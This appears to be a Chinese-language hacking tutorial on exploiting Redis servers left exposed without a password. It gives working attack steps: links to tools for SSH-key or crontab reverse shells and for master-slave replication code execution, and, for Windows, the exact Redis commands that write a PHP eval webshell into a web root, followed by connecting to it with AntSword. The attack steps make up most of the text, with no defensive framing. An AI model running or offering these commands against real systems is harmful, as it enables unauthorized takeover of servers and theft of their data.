## 一、简介
- `redis `默认情况下,绑定在` 0.0.0.0:6379`,若没有采用相关的策略,如添加防火墙规则避免其他非信任来源 `IP`访问等,会将 `redis `服务暴露到公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 `redis `以及读取 `redis `的数据。攻击者在未授权访问 `redis `的情况下,利用 `redis `自身的提供的`config `命令,可以进行写文件操作,从而将恶意文件写入目标主机中进行利用,譬如`ssh-key`、`webshell`、`crontab`等。
## 二、利用
### 2.1 Linux环境
- 若是部署的`redis`权限够高,采用`root`权限进行,则我们可以直接采用写入`ssh-key`或者`crontab反弹shell`的形式,以此获得对目标主机的控制权。
- 若是部署的`redis`账户为普通权限,则也可以使用`redis主从复制`的恶意代码进行利用,从而获取目标主机的控制权。
#### 2.1.1 root权限
- 工具:[传送门](https://github.com/pan3a/Redis-Getshell)
- 注意:若是目标未启用`ssh-key`、没有`crontab`,则无法采用写入密钥或者写入定时任务来反弹`shell`了,请另外再尝试写入`webshell`
![image-20231223153840043](https://picture.gotarget.top/202312231542976.png)
#### 2.1.2 普通权限
- 工具: [redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server/)
- 注意:使用该工具请删除原有的`exp.so`,自行编译使用文件后放到脚本所在文件夹,否则将无法执行。
![image-20231223143233775](https://picture.gotarget.top/202312231501374.png)
![image-20231223143936848](https://picture.gotarget.top/202312231501977.png)
### 2.2 Windows环境
- 在`Windows`环境下使用`redis`未授权的主要利用方式为寻找目标主机的`web`根目录,以此写入`webshell`。其余的方式诸如写入系统启动项、`mof`提权,都具备太高的偶然性,难以利用。
- 参考文章:[FreeBuf](https://www.freebuf.com/articles/web/256655.html)
#### 2.2.1 WebShell利用
- 第一步:确认目标的web容器根目录
- 注:在此阶段可以使用`web`目录搜索工具[dirsearch](https://github.com/maurosoria/dirsearch) 来查找诸如`phpinfo` 之类的信息,又或者可以确认目标网站容器,尝试`IIS`、`PHPStudy`的默认`Web`容器路径。
- 第二步:写入`WebShell`
- 确认写入目录:`config set dir c:\phpstudy\www`
- 确认写入文件名:`config set dbfilename shell.php`
- 确认写入内容:`set x "<?php @eval($_POST['a']) ?>"`
- 保存本次写入:`save`
![image-20231223145405447](https://picture.gotarget.top/202312231501434.png)
- 第三步:连接`WebShell`
- 工具:[蚁剑](https://github.com/AntSwordProject/AntSword-Loader)
![image-20231223150000089](https://picture.gotarget.top/202312231501168.png)
![image-20231223150056327](https://picture.gotarget.top/202312231501553.png)
Redis未授权利用